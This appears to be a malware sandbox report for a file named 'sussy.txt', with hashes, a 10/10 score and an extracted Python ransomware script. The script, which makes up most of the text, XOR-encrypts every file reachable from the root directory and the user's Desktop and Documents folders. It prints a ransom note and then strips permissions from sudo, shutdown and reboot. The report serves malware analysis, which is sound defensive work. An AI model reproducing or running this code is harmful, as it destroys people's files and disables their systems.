General

  • Target

    sussy.txt

  • Size

    1KB

  • MD5

    9d190828feb7a437f26c4420f832e949

  • SHA1

    a5eba9cd838f7c4e9675aa1d489ceab1cdc3733c

  • SHA256

    932b96aebd5c974dbc229c9c28750cbc06c3ace13a5b4e35670be7dce4a4ae22

  • SHA512

    a7674d7bfaf68de344dd4f990a52cd7126c6bb2c0393672cd2de294fa7599f556023396eee4115e40e4bcc2b71244c3cee9059de1d6b69e12f5a445287be2342

Score
10/10

Malware Config

Extracted

Ransom Note
import os import random import string import shutil import subprocess def encrypt_file(file_path, key): with open(file_path, 'rb') as file: data = file.read() encrypted_data = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) with open(file_path, 'wb') as file: file.write(encrypted_data) def generate_key(length): return bytes([random.randint(0, 255) for _ in range(length)]) def encrypt_system(key): for root, dirs, files in os.walk('/'): for file in files: file_path = os.path.join(root, file) try: encrypt_file(file_path, key) except: pass # Encrypt desktop files desktop_path = os.path.expanduser("~/Desktop") for file in os.listdir(desktop_path): file_path = os.path.join(desktop_path, file) try: encrypt_file(file_path, key) except: pass # Encrypt documents documents_path = os.path.expanduser("~/Documents") for file in os.listdir(documents_path): file_path = os.path.join(documents_path, file) try: encrypt_file(file_path, key) except: pass def main(): key = generate_key(16) encrypt_system(key) # Display ransom note ransom_note = f"Your files have been encrypted with a strong encryption algorithm. To decrypt your files, please contact us at [email protected] and provide the following key: {key.hex()}" print(ransom_note) # Disable access to system settings and applications subprocess.run(['sudo', 'chmod', '000', '/usr/bin/sudo']) subprocess.run(['sudo', 'chmod', '000', '/usr/bin/shutdown']) subprocess.run(['sudo', 'chmod', '000', '/usr/bin/reboot']) if __name__ == "__main__": main()

Signatures

Files

  • sussy.txt